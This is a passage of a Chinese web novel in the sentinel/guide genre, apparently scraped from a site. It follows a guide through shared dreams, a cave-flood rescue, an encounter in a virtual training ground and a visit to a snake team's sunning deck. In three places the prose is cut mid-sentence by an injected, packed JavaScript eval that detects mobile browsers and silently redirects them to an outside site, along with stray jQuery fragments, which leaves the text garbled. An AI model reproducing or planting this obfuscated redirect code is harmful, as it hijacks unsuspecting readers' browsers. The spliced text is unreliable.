布鲁诺凑上来,“你可以靠我身上。” 男人伸手,把袋子提过来,揉吧揉吧卷成一团垫在脑后,她挪了挪屁股,直接躺上去,心跳的频率减慢。 “布鲁诺。” “嗯?” 没什么话想说,后脑勺不断传来胸口起伏的弹力,告诉她身旁还有一个活人。 “要是你饿极了会不会啃我?” 布鲁诺:“不会。” 她叹了口气,“你好像瘦了,”男人摸了摸胳膊,“等我出去就长回来。” …… 干粮不多,水源充足,扛一个月不成问题,他还能挺更久,只要能等来救援,倒不至于太消极。 布鲁诺:“引导绳还在吗?” 她点头,“我是跟着它找到这儿的。” 好事。布鲁诺能在脑海中构建环境地图,且空间记忆能力强,不会迷路,引导绳是留给其他人的。 他的笃定给了她信心,但危机仍然存在,万一雨不停,或者水位不降,队友认为他死亡,或在错综复杂的溶洞中迷路。 氧气浓度就是生命线。 “可以再让我亲一下吗?”他没乱动,因为梦中人也有脾气,很像她。 “你想被打了?” “扇一下,亲一次?” “不行。”她没好气地拒绝。 “两下、三下?” ……奇怪的脑回路,她掐了一下对方的胳膊,“不行。”她又不是变态,更何况,她已经有哨兵了。 不管布鲁诺叫得多可怜,她捂住他的嘴,“别说话,节能减排。” 男人安静下来,握紧她的手掌,两人平躺着,数着心跳,不知过去多久,洞内响起羽翼扇动声。 布鲁诺走到河边再次探了探水位,又上涨了,揽住她的肩膀,往更高处的平台靠,“来这边。” 打开手电,她四处环照,发现挂在壁上倒立的小蝙蝠,眼睛亮得像灯泡,将光照地,两人往高处去,一对苦命鸳鸯。 后续水漫上来,两人不得不再次挪地方,互相依靠着取暖,但触感逐渐消失,再没有她的气息。 溶洞里,男人躺在台阶上,睁开眼,吐气伸手,四处摸索,果然只有他一人,难得美梦,好像脑子舒服多了。他起身到岸边,水位不再涨了! 梦醒起身,阳光照进病房,听见男人呼声,她应下,卡尔进门,看她满头汗水。 他将早餐放在柜上,她只摇头,“帮我联系曼努埃尔。”她得查实这是不是真的。 地下,曼努埃尔坐在审讯室的墙角,注视着这场询问,强光打在罪犯脸上,忽然铃响,一人走进,请他出去,说是有人找他。 什么事,突然打扰? 他穿过走廊,来到门口,与门卫交换座位,接过固定电话,“您好,这里是曼努埃尔。” 一个男人,他讲明来意,不久后,女声从那头传来,语气有些急,曼努埃尔放在桌面的手抓紧,呼吸变乱。 两人已经很久没有交流,或者说,自从进了训练营,就断联了。 “喂,是曼努埃尔吗?” “徐珊珊向导,上午好。” “我想问你个问题,你能诚实回答我吗?因为这真的很重要。” “……你问。”手背贴在桌面,手指来回摩擦,他听见对面一字一句的,说话声轻,带着不确定,“我梦到过的那个人是你吗?初春、草原、狼群、野牛、狩猎……” 最后两个字咬在牙尖,她没说出口,曼努埃尔了然,坦然承认,“是我。”看来真的是双向梦境。 “好,那那我挂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078000|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再见。”得到答案,徐珊珊面红耳赤,颇有些不好意思,迅速挂断电话。 “嘟、嘟、嘟——” 指示灯颜色转变,通话结束,男人坐在原地愣住,一直到旁人三次喊他的名字,才回过神来,站起身让开座位。 门卫:“去吧,里面还没结束。” 曼努埃尔:“好,辛苦了。” 中午,他被唤去医院,再次见面,但却不只两人。一人询问,两人交替回答,没检测出撒谎痕迹。 “你没有疏导记录,污染度为什么大幅降低?” 她抬起头,男人看过来,他没有回答,似乎仍要掩藏那段往事,但对面表情严肃,不断逼问,像审讯犯人般。 这事很严重吗?她鼓起勇气承认,“是我做的,”这归于两人私事,他不再追问。 既然事实为真,两人的隐情,长官、卡尔、解逸飞都替他们遮掩,将话题带过去。 “队长,”她先看向解逸飞,这是他的队员,又转向自己的领导,“长官,他现在还没死,不要放弃他啊。” 山昊点头,消息来得突然,他更担心异能带来的负面影响,“我们会处理的,你觉得哪不舒服吗?”女人摇头。 解逸飞:“雨停了,”天气变幻莫测,特大暴雨转移了范围,“他会回来的。” 这事报上去,人们陆续告别,她让曼努埃尔留下,房门被合拢。 她扑进储物柜,午休时间,虽然吃过饭了,也不妨来来点饭后零食。 “砰——” 什么东西倒在地面,她不甚在意,继续找最后一包软糖,却翻不到,“对不起。”听见身后男人的声音,她放弃寻找,站直身,关闭柜门,转头转身,看见男人跪在自己面前。 他垂着头,背弓起,双手成拳放在砖面,右手边放着缀有尖刺的皮带,绕了几圈系好,一副认罚模样。 负荆请罪? 难道白塔都是棍棒教育?为什么一个二个都这样。她将那皮带踢向一旁,把他扶起来,对方顺着力道起身,不然他两米高,她也推不动。 “咳,没事。”她一想到那个梦境,忍不住脸红,“我也不在意,咱就当什么都没发生过,要不是你,我还没法说服他们。” “梦里的事,做不得数,别放在心上,谁能想到呢?对吧。” 毕竟是她的被动技能,控制不了时间、对象,随意入梦,该说道歉的该是她,就是别人可能不这么想。 “其实你可以直接和我说,你也不是故意的反正。” “您会原谅我吗?” 当然,又不是什么大事,她坐在床上,既然没糖吃,就开始絮絮叨叨,讲和布鲁诺的那场梦又多惊险,简直是死里求生,相比之下,他们那场就温和多了。 看着她澄澈的眼睛,曼努埃尔突然萌生一股勇气,想要将一切倾诉,她摸过自己的伤口的,却不厌恶,但那是夜晚。 他想告诉她,两人第一次遇见是什么时候,第一次说话又是在哪里,并非图书馆。 房门被敲响,他捡起皮带,现在不是时候。 38. 第 38 章 曼努埃尔告辞后,她按预定计划,去虚拟环境中锻炼实战能力,房间编号不变,她习惯了刷这个污染区,视野开阔。 当然没了卡尔,她有点屡战屡败的意思,索性没什么伤害,系统警告弹出来,无视风险,继续进入。 这里还有天气、时间变化,眼看着到了正午,车辆外表太烫,地表估计超越七十度,她刚喝完一瓶水,马上又干渴了。 汽车雷达扫描,有东西靠近,她瞄了一眼,四个,掏出望远镜往回看,浑身缠满布匹的四个人,步履蹒跚的,凉气萦绕四周,她立马蹬了油门。 好不容易找到的车,油没剩多少点,但那也是车,这群家伙不会来抢劫的吧? 她平时心很善,但在虚拟环境,一直都避免和人群接触,因为这个弱身板,想加入别人的小队也会被嫌弃,也有些故意攻击,发泄暴力的人。 通常是那些游民似的哨兵,没有基地归属,在外面终年游荡,他们的精神一般都不太好,以折磨别人为乐。 引擎嗡嗡作响,车轮卡在坑里,上不来,她倒回去看了一眼,什么时候轮胎漏气了?拍了一下方向盘,换个地方再换胎吧。 她加大油门,座椅震动着,身体向上弾,汽车开动了。 雷达里的红点逐渐远离,她的心情逐渐好起来,野外的荒凉景象,离基地很远,现实中很难看见。 身体跟着节奏律动,直到中控台发出滴滴声,她瞥见红点在迅速靠近,瞥了一眼后视镜,只看见一阵烟。 难以置信有人能跑这么快,不是刚才不还一瘸一拐吗,怎么现在跟小猎豹一样? 她不会真遇到坏人了吧? 踩紧油门,档位调到最高,后面的人还在追,有两个红点停下了,但剩下两个还在追。 她不知道他们为什么这么执着,但轮胎漏气,车子驾驶得逐渐不稳定,一抖一抖的,油量也见底。 佩服他们的执着,徐珊珊调到低速档位,速度降下来后,一边轻踩离合踏板,最终刹车,在地上滚下一轮印子,那颗轮胎终于完成了它的使命。 她解开安全带,往车后视镜看去,看得清晰了些,的确是那群人没错,跑也跑不过,打也打不过,车子让给你们行了吧。 才怪,只要拖一拖,等卡尔回来,暴走他们,毕竟高级哨兵可没那么多。 她又解开瓶盖喝了一口水,打开驾驶门,下车,合上车门,瞬间阳光在裸露的皮肤灼烧,热得不行,她走到枯树的阴凉处等候。 徐珊珊:“你们跟着我干嘛?” 见对面张着嘴,却听不见声音,她恍然发觉自己没开听筒,在设置里打开周围人聊天,听见两个男声,口音很强,仔细听才能分清到底在说什么。 “总算蹲到了。” “千万别让她跑了。” 短短两句话,罪犯形象就勾勒出来了,她有些紧张地靠后,“喂,你们别过来啊,乱动我就下线。” 她身子骨弱经不起折腾,肯定是扛不住打的,“你们要车子就拿去,大家都是出来混的,没必要过不去。” 叽里咕噜的,他们中的几人都没听懂她说话,说起来,这群人里唯一的城里人,也只有那位病员,他被落在后面。 他们穿得很奇怪,身上随身携带着冷兵器,一片阴影盖过,什么东西低空滑翔而过,一个人从上方跳下来,她蹲下身,才发现他们是一伙的。 五人小团体,一脏辫男动作熟练的从后车箱中取出千斤顶、套筒扳手、备胎,拧松螺丝,动作丝滑流畅,就跟这车是他的一样。 不靠近她,但也不让她走,徐珊珊搞不明白他们想做什么,但一段时间后,等后方的两人赶来,她明白了。 她的表情变得很难堪,一下子卸下了防备,但…… “我治不了,我真治不了,你们找别人吧。” 她一边摆手一边往树的后方走,调出系统的登出界面,但关闭界面,看了看这群“野人”,一部分好奇,一部分于心不忍。 “你们怎么这么……”寒酸两个字没说出来,看着挺着大肚子的男人靠在树边,一种无力感蔓延了全身,这个荒唐的世界。 “抱歉,向导小姐,他们吓到你了吗?” “没,没事。”她不忍心对孕夫说太重的话,他看起来干净很多,胡子也刮干净,头发打理得很仔细,“你怎么,你,我……” 他怎么怀孕的? “你帮老大看看。” 一阵咕噜声从左耳响起,震耳欲聋,吓得她差点撞树,一脸无奈地仰头,看向那个男人,才发现身边的人都一副无语表情。 这位领队人物无奈地喊他:“老五,助听器忘带了。” “好嘞。” 另一人从车内翻出不知有什么制成的彩色饮料,看来还真是他们的车。徐珊珊犹豫了两秒,还是接了过来,既然没有恶意,她倒是有点兴趣了解一下,这些外面的人。 男人一个个介绍:“练洛一、练洛二、练洛三、练洛四、练洛五。” 这名字取得,好敷衍……她忍不住吐槽,他们这一家子长得也不像啊,根本没记住。 每当看见他,就忍不住将视线移到孕肚上,很大,像装了两个西瓜一样,一想到这,她竟然萌生出一种负罪感,为什么要让人挺着大肚子在阳光下追车,简直有罪。 电视剧里好像没演,她也没听人说谁的哨兵怀孕了,但见他这幅样子,显然对方是个负心妻,他只能带球跑了。 “你这个月份大了,就不要来训练场了,好好休息。” “不是的,小姐,你误会了。” 他笑起来,他的脸很白,看起来皮肤很薄,贴在骨头上,不像其他人,看起来要虚弱许多。 另一个人从驾驶座下面掏出两张照片,递到他手上,于是她得以看见,山洪是如何灌溉洞口,水是怎么涨高。 明显是一张偷拍照片,从背面、侧方,她认出了里面的人,声音也冷淡下来,他们怎么知道? “你们想干什么?” 她的目光警惕,却无法从失踪男人的背影上离开,众人明白有戏,至少他们的猜测是对的,她和他看的照片上的人很像。 “别误会,我们是偶然路过,只是看他们好像是白塔的人,恰巧我们也在寻人。” 男人接着拿出一个相册,一页页翻揽,里面的照片上,人的年纪很小,有些稚嫩,但一一对比,从眼神上,可以对照。 他们拥有相同的拍摄背景,同一个姿势,同一个表情,同一个“父母”,再最后有一张全家福,少了一个白发女孩。 “我们的家人走失了,听说她进了白塔,你可以帮我们留意一下她的消息吗?相应的,我会帮忙组织救援。” “她是一名向导,如果我没猜错的话,您应该也是一名向导。请不用担心,我们之后会申请加入白塔,并不是什么暴徒。” 只是流浪久了,就显得很落魄,洛练一不太清楚里面的规则,也需要一个引路人。 她当然希望他们能帮个忙,但是……怎么来得这么巧,很像杀猪盘。 “她就什么名字?” “我们分开的时候,她还没有名字。”一旁的男人插嘴,“她有漂亮的白色头发,眼睛也是浅灰色,脖子后有月牙胎记,很漂亮,爱说话,很活泼,会发光。” 爱说话,这和她印象里的克拉拉不一样,对方显然是冰山御姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092040|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一个字说完就决不讲两个字。 “这样吧,你先加我个好友,我到时候帮你看看。他们现在怎么样了?” 说起来她这也是无本买卖,就说自己没找到,对方也不能如何,他们说自己想来白塔,“我看你们跑挺快,”确实快,车子都跑不过,“你们在外面多久了,为什么突然想加入白塔?” “十多年了。” “十三年。”老五插话,他就听清一句,的声音还是有些大,对她来说还好,但对五感敏锐的哨兵来说,相处这么久还不厌烦他,可见是真有感情。 洛练一闻言,一手伸向肚子,“我想给他们找个好去处,一直在外面,对身体伤害太大了。” 精神污染得不到疏导,症状就会越来越重,以前向往自由,排斥一切组织,但也实在扛不住了。 他们做不出劫掠其他队伍向导的事,相反,遇见个别哨兵私自带向导私奔,会多管闲事,做个无情的法海,把两人送回去,人不能和没有监管的野兽独处。 他们队伍的名声其实还可以。 “白塔……比较宽容,”毕竟他们全部都是改造人,后遗症不少,不稳定的炸弹,其他地方不一定敢收。 这个她就不清楚了,哨兵想要入塔,流程又和向导不一样,可能要经过许多考核,但这些就不在她的掌管范围内了。 她看了看对方的孕肚,“你这个,外面有没有医院,万一难产很麻烦,先找人带你去医院?” 男人摇了摇头,“我没有孩子。” “打了也好……”这群人的医疗水平,她想起某部电影,妻子自行打胎最后大出血死亡,年轻鳏夫带娃的故事,“最好去医院,别自己乱搞。” 一旁的众人听不懂两人谈话,只见大哥摸着肚子,笑道,“好,谢谢关心。” 好老大啊,她环视众人,都孕晚期了,不惦记自己,光惦记给兄弟们找退路。 “水下有引导绳,你们可以沿着绳子找到他。” “好,两天之内我们会把事情处理好,到时候会第一时间联系你,我们的事,就劳烦你上心了。” 两天,这么快? 她应下了,男人们很快下线了,看来是去救人了,留下来那辆车,不一会儿,卡尔登录账号,来到她身边,看她坐在车里发呆,手中拿着一罐七彩饮料,里面放了廉价低质配料。 猜到她在想事情,卡尔站在门外,没有打扰她,直到她回过神,两人才驾车离开这里,到别处继续打怪。 下午,又是酣畅淋漓的一天,她得知一个好消息,自己可以出院了,关于寻人的事,她翻了一圈官网,硬是没找到一个符合条件的人。 秉承着同类相吸的原则,她打算去问一问克拉拉和吴可。 她把对方描述的特征原封不动的发了过去,吴可说她还没见过同时满足这几个条件的人,克拉拉一如既往地没回复。 光脑震动,她一看,弹出自动回复:“正忙,稍后回复。” 晚上,她终于回到自己的宿舍,但洗澡出来后,却发现光脑上好几个未接来电,她一时心悸,还以为是错过领导电话,点开一看,是克拉拉。 刚点亮屏幕,又打了过来,秒接,女人张口就是:“他们在哪?” 还真是一家人,她语气有些激动,徐珊珊:“我们是在虚拟对战平台认识的,这样,我把他们账号推给你,你别急,他们都挺好的,最近好像打算来白塔,要不了多久就能见面了。” “好。” 又处理完一桩事,挂电话前,她突然忘记了,自己没有提前告诉她,就是她哥哥可能……怀孕了? 将头埋进枕头里,反正明天要见面,明天再说吧。 39. 第 39 章 次日,她回到营地,向克拉拉告知了这个消息。 正午,她取回光脑,查阅系统消息,下午有两个预约,首先是蛇队,备注了特殊病情:心智退化。 徐珊珊通过了申请,对方发来新消息: 【您好,感谢您及时的救助,王蟒的身体恢复了,但思维退化到了孩童时期,您能抽空,来队里看看吗?】 他解释:蛇队被禁足,只能待在营区内。 王蟒是谁?脑中梭巡,眼睛微眯,她才反应过来,窜路了,不是王莽,应该是那条沉重的网纹蟒,把她卷成米其林轮胎的那位。 【我下午有空,发一下地址】 地址定位在一栋建筑,她印象里,那是栋水蓝色的圆饼型建筑,顶部中间透光。 她在系统日志上做好记录,同卡尔一道,乘车抵达目的地。 今天也是艳阳天。 “徐珊珊,向导……”门卫对照、登记完两人信息后,放他们进入,听闻她的来意,指了一条路。 首先是办公室,如果不在,这个时间点,可能在晒台。 候梯厅,石柱上放着生态缸,一米高,从上而下叠了几层,树枝上有条翠青蛇,水塘里浮现出身影,一龟仰头朝上,沙坑里露出一条尾巴和后肢五爪。 两人乘电梯而上,滑门打开,迎面见指示牌,走廊上挂着科普专栏,有趣的是,办公室旁,整齐地挂着照片墙。 人像旁摆着蛇的证件照,它们扬起脖子,缩回舌头,嘴合拢,成人字形,正视前方,看着宝相庄严,鹅卵石状、三角状,头型各异。 办公室无人,也许是午休去了,她也不急,想着到处看看。 几番摸索,两人找到晒台,一个宽阔的露天空间,绿荫环绕,乔木、灌木生长,沙地丘陵各有分区,中央是一块泳池,清澈见底。 泳池呈现不规则的圆弧形,不像别处是长方形,四周留有大片空地。 山石坐底冒头,石周有遮蔽物,池尾长了一片水草,最浅处只及腿肚,边上放置沙滩椅。 卡尔将躺椅搬到阴凉处,她坐上去,胃在消食,打算到时间,让他们来接人。 这儿信号不好,迟迟不见人来,卡尔让她休息,他去找人。 失策啊,没想到还有离线区。 她百无聊赖地站了起来,漫步一圈,观察四周环境,为什么要栽树? 她捡起救生杆,它可伸缩,顶部有钢圈,十分结实,拿着它挥舞了一会儿,模拟持长枪攻击。 玩累了,她躺回椅子上,不知不觉间就犯困,中午不该加饭的,晕碳了。 她想着,就眯一会儿。 身体转动,险些掉下椅,她惊得醒来,睁眼看向四周,生怕自己又去到别处,仰头看天,还好,还是这儿。 她低头看地,不太好了,俯下身,捡起摆在地上的救生杆,随后盘腿坐起来。 哪来的鳄鱼? 一条黑凯门鳄,它眼部隆起,头部长宽,身披黑色骨板,背部有条隆起的脊骨,身侧有带状黄纹,前肢短粗,脊椎左右扭动,拖着尾巴徐徐爬来。 长得有点眼熟,她好像在哪儿见过,徐珊珊有点印象,但也不敢靠太近,怕万一认错人。 “不要过来了。” 这应该是某位哨兵的精神体,她这样嚎了一嗓子,对方果然不动了,但随之而来,门口处发出“咔哒、咔哒、”的声音,爪子摩擦地面的声响,她抬头看去,一大坨鳄鱼啊。 干嘛?她罕见地有些紧张起来,开始没话找话,“我好像认识一个鳄队的哨兵,他还给我送了锦旗呢,哈哈,你也听说过吧。” 但它回头见别人来后,瞬膜斜向上合拢,又落下,露出沼泽中撕开的黑影般的眼睛,继续往前爬,她在紧急情况下穿上了鞋子。 主要是当事人不在,只有精神体在这儿。眼见着鳄鱼越靠越近,她想起身离开,但它们兵分两路,环绕泳池,前后都有,这下被包围了。 没事的,它不会伤害她,你看,嘴都没张呢哈哈。话是这么说,她还是有些紧张地将小蘑菇叫出来,待鳄鱼走近,提起救生杆,隔着几米,用钢圈套住了它的扁嘴。 箍得紧紧的,嘴筒子张不开,它也没甩头,没后退,就停在那儿,看着她。 她有些不好意思,“我不是故意的,你别过来我就放开你。” 她耐心地和它解释,等着它的主人到来,但没注意时,精神体自己往外跳去,她瞪大眼睛,“小蘑菇,你想干嘛?!” 哇塞,这个家伙喊不听,装没听见,一蹦一蹦地往鳄鱼身上去了,踩着嘴上脸啊。 这么勇敢的吗?她这个主人简直惭愧。 等它成功坐上颈部,又在上面调整位置,最后落到肩后最宽处,她感到手中一震,鳄鱼退后,钢圈坠地,发出震响。 它扒着地面转换方向,然后一路入水,只露出背脊,然后小蘑菇就坐在别人肩膀上,用菌丝划水,波纹荡漾。 …… 好气啊,但是不知道气什么,她低头看向救生杆,它就这样和别人戏水去了? 肾上腺素随着鳄鱼群的靠近激增,她观察到,虽然它们长得大同小异,但细看,仍略有差异。 一些鳄鱼靠近她,大概一米处停下,扁扁地趴着,挤在泳池边,有的尾巴搭在别人尾巴上,闭上眼睛,也有的张开嘴,露出淡黄色口舌,和几十颗圆锥状利牙。 它们是来这儿晒太阳的? 她的脚收在椅前,忽然一条倾斜着尾巴撩过来,擦过小腿,凉凉的,侧面的角质盾片有些划拉,还没注意就嘶溜过去了。 她又将腿收回椅子上,问题在于,它们靠阴凉处这么近的话,晒不到太阳啊,阳光仅洒在头前侧,如晒是吧。 徐珊珊又待了一会儿,发现刚才的摆尾是意外,它们很懒,真的很懒,一动不动。除去将她围在中间外,看不出有任何威胁,情绪很稳定。 直到太阳一点点倾斜。 又是一阵哒哒响,她以为卡尔回来了,但并不是,门口爬进一条鳄鱼,它体型更大,看起来是老大,所及之处,其他鳄鱼纷纷让开位置。 很酷,但怎么是朝她来的? 最终,它停在她面前,仰起头,两人大眼瞪小眼,徐珊珊摸不准它的想法,低头看了看座椅,“我是不是占了你的位置?” 她从椅子上跳下来,拖住椅子,摆到阳光下,众鳄鱼睁开眼,甩头看过来,默默往旁边扒拉,她好歹不用担心踩着别人的尾巴。 她清了清嗓子,“老大,你坐吧,我就先走了。” 她话说完,期待地看着对方,但它转身离开,像是下定了某种决心,这是……她愣在原地,不晒了? 其他鳄鱼又围过来,紧贴在椅边。 她不想踩着别人的尾巴,又坐了上去,可是中午的太阳有点毒,她抬起光脑看,还是没信号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124751|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵响声,什么东西倒下了,一顿鼓捣,她望向那处,不一会儿,它终于又进来了,嘴里叼着一个长柄,好像是把伞,在地上滚来滚去。 面对拖到面前的沙滩遮阳伞,徐珊珊沉默了,无意义地啊了几声,最后蹦出两个字,“谢谢。” 其实她也是可以陪它们一起晒太阳的,她和鳄鱼合力将伞立正,撑开,于是她独享一片阴凉,大佬鳄趴在旁边守候,而小蘑菇已经和那只黑凯翻江倒海了,来回不知几圈。 想来晒太阳的精神体有很多,又进门一群蜥蜴,身体更细长,形状、大小、颜色各异,进门时停了一瞬,然后四处分散,有的挂在树枝上,体色变化。 他们这儿还挺有意思的,徐珊珊想,用手指戳了戳鳄鱼老大的背部,它感到酥痒,合上嘴,转过来,歪着头看她,呆板的眼神里露出一丝疑惑。 有点萌啊,徐珊珊听说有人养鳄鱼的,说是沼泽小狗,她问:“你知道蛇队多久来晒太阳吗?” 对方的头一转,随后门口发出细微的嘶嘶声,她抬头看去,果不其然,群蛇毕出,更细长条的精神体入场。 但更重要的是,人跟在精神体后面,她终于看见卡尔了,他领着蛇队的人来了。 按理说,各队是分时区晒太阳的,倒不是地盘不够大,一般只有切磋、交流信息时在会聚在一块,当然了,会被向导吸引也正常。 蒋森心想,他们知道珊珊向导,也还是托了晒台的福,因为伏击组全体都是2G网,生活基本围绕着吃、睡、必要的训练展开,节奏比较慢,简言之,就是消息闭塞。 卡尔一眼瞥见鳄鱼群里的她,谈话声终止,领着蒋森往这边来,被鳄鱼群拦住,它们转身,头朝外,张开嘴,露出锋利牙齿。 “徐珊珊向导,没想到您来得这么早,有失远迎。” 很客气啊,男人胸前满是水渍,连卡尔胳膊上也青红一片,看来是被那条蟒蛇折腾的,她摇摇头,不介意地说:“没事,我来这儿参观参观。” 她看向泳池,伸出手喊:“小蘑菇,回来,咱要走了。”见到鳄鱼听懂了,尾巴摆动,朝岸边来才放心,心有些痒痒的。 这儿很安静,不像空战组那块,每次她去,都十分热闹,小鸟们叽叽喳喳,有的还会学舌,不需要主人在场,直接和她沟通。 很有趣,但也有些吵,而且嫉妒心强,她摸谁的头,那只鸟就会被别人啃下一撮毛,扇动着翅膀表达愤怒。偏爱太过,下次再去,就会看见一只秃子。 这里就很安静,不晒太阳的话也很凉爽。 等精神体上岸,她将它擦了擦,揣在怀里,踩着尾巴间的空隙,但前面还是越来越密,知道它们舍不得,但毕竟有正事。 “乖啦,让我出去,我下次再来找你们玩。” 鳄鱼群渐渐散开,而鳄鱼老大的移动,让这个趋势变得更明显,她终于走出来,跟着蛇队往外,几步后,听见身后传来哒哒响。 徐珊珊转头看,是那只黑凯门鳄,跟着她的脚步往外爬,她意识到,可能就是那条给她送锦旗的鳄鱼,左右挥手,道别:“别跟着我啦。” 对方扬起的头放在地上,看起来是知道了,鳄鱼老大没跟上来,它挡在群体前,它们都睁眼看着。 蒋森:“请往这走。” 男人领着她往外去,而形形色色、大大小小的蛇类、鳄鱼、蜥蜴留在场地内,各自占领一块区域,形成一个三角对峙场面。 40. 第 40 章 一路上,蒋森向她介绍那条巨蟒的近状,用词委婉,当她进门,只看见一个对着照片流口水的小傻子,看上去缺心眼极了。桌旁放着保温盒,没有热气。 “他就是王蟒?” 蒋森:“对。” 说完,没等他招呼,那高大男人便自顾站起来,往这边巴巴跑,砸在地上咚咚响,缩在沙发缝里的网纹蟒也冒出头,一双眼像被雾蒙上。 见他又直奔向导去,蒋森拦住他,手臂筋肉紧绷,用了力,这傻小子,几天没吃饭了还有这样的力气。 王蟒想靠近,但被阻挡,心里不满,这个靠近领地的人,想给他来两下,但左边是感兴趣的人,他再三犹豫,选择接近她,至于这个人,不重要。 随着一条蟒蛇从盘踞的后方游向前,它抬起脖颈,蛇信在空中嗅闻,歪着脑袋,用它那不太清楚的视力,描摹模糊轮廓,而后非常激动地摩擦腹部。 蒋森知道他很激动,不久前被疏导过,记忆里全是她的味道,现在又失了智,不知收敛,真情流露很正常,只是希望他别吓到别人。 又一条蚺蛇从身后冒出来,那是一条森蚺,它更粗短,待在脚边十分安分,也游到跟前,两蛇对峙。 徐珊珊还留着上次的记忆,下意识往后缩,退到蒋森身后,卡尔也挡在身前。 隔得远了,有点安全感,她再打量那男人,他嘴里嘟嘟囔囔道什么,“想你,对不起……”一类话。 她看向一旁的监控摄像头,不知道它是否会留下影像记录,这位哨兵,日后观看的感受会如何,这么多人,她都替他尴尬。 蒋森队长见她表情凝滞,想给他找点补,“他平时不这样。”蛇队的人,基本都好静,没这么直白和热情。 王蟒平时最瞧不起那些对着向导低三下气的人了,说他们连脸面都不要了,看来他也没要脸到哪里去。 蒋森摁住王蟒,“你不用怕他,他现在可以控制自己,不会伤人。”他一面呼喊另一人,对方拿来锁拷,准备将男人铐在椅子上。 见他扭个不停,十分抗拒,蒋森劝说,“徐珊珊向导来看你了,别动,你也不想伤到她吧。”他好像听懂了,立马停下来,但眼睛里还是散发出纯真的眼神,像一条傻狗。 他们做好措施后,退到一旁,腾出位置,她靠近,男人转头,扯开嘴笑道,张开幅度以至于让她怀疑,是不是被人教授了什么道理。 诸如笑容代表友善,所以他笑得越开心,别人就会认为他越友善。 “呃……你好,我叫徐珊珊。” 男人点点头,开始重复她的名字,这傻孩子,不会影响大脑了吧,她舔了舔下唇,将目光移向一旁的蟒蛇,这个也是面相完全变了,完全放松的姿态,看起来呆呆的。 徐珊珊:“过来。” 一条S形滑动的大蛇,她往后退,它的身体越过椅子脚,上下匍匐滑来,哪怕被主人蹬了一脚,勒令它停下,硬是没停顿一下,装作无事发生,腹部肌肉收缩,屁颠屁颠地往前去。 徐珊珊对此感到并不意外,精神体并不是总跟主人一条心,比如小蘑菇,完全愿意抛下她和别鳄下水。她很心寒,真正的寒心不是大喊大叫。 “就是你捆我,然后压得我喘不过气是吧?” 她的质问,那家伙似乎听懂了,停下来,接着头部趴在地上,吻顶地面,翻了一个身,然后是一段段的翻身,将柔软脆弱的白腹坦露。 咋的,装死? 诶不是,她看笑了,一手插着腰,它要不要看看自己的个子呢?这么大个装死,不敢承认? 在两人互动的过程中,其他人也在观察,见蟒蛇不停地吐露蛇信,蒋森提出让他两单独相处,留出空间,它会更放松。 她点头同意,见卡尔顾虑,她挥了挥手,“没事,有事我会喊你。”于是众人离开,毕竟她现在是上级,她说了算。 房门合紧,里外的空间被隔开,卡尔就站在门框边,侧着脸守候,蒋森请他去一旁坐着喝杯水,让别人来守,他拒绝了。 房间的隔音不是顶级,仍有隐约的声音,他将耳朵拉尖了,注意里面的一举一动。 室内,徐珊珊正紧张地分开两个精神体,没错,就是小蘑菇和那条蟒蛇。 都说精神体反映当事人的内心,她还不知道自己原来报复心这样强。 她原本打算将它放出来,看看是否还有未净污染,帮他疏导,但没想到它出来就奔着人家精神体去了,那个跳动的姿态,隐约有些不好的预感。 那条蟒蛇本来躺在地上装死,当它靠近时有点装不下去了,调整了姿势,才能好好看清画面,还想装乖,完全没注意气鼓鼓靠近的精神体可能会造成威胁。 不知道小蘑菇对它做了什么,应该是从前对她做过的事,因为很快,那条蛇就开始蜷缩起来,全身拧动,身尾串成圈,头部从中穿过,形成一个麻花结。 它这是记恨上次被甩飞,复仇呢,她关注地看向一旁的王蟒,见他开始翻白眼,有些紧张,“你没事吧。” 走过去,摸了摸他的额头,男人倒是很乖,也许跟手脚都被捆住了有关,只是支支吾吾着什么,“不要、不要……”的,她也不清楚到底是不要什么。 就像她撞见鬼怪要拿自己做烤串一样,他可能也出现了幻觉,以为发生了什么危险事情,感到惶恐无措,她一边安慰,一边和精神体沟通。 人蛇很快恢复,但它还没消气,爬上桌子,居高临下地看着,跃跃欲试。 她劝阻的话还没说出口,它就直接跳脸,把撑起来的蛇头撞到地上,发出咚的一声,撞得眼冒金星,尽管如此,除了尾巴扭了扭,动静不大,不一会儿又爬起来,悬起上身,好奇地嗅闻。 小蘑菇再次爬上椅子,站在扶手上,那蛇也呆,就立在那,一动不动让别人打,倒下去又弹起来。 真应了那句话,别人打了我一边脸,就把另一边脸也伸过去,而他的主人一点没感觉,冷眼看着。 多么残暴,哎呀,怎么能这么暴力呢? 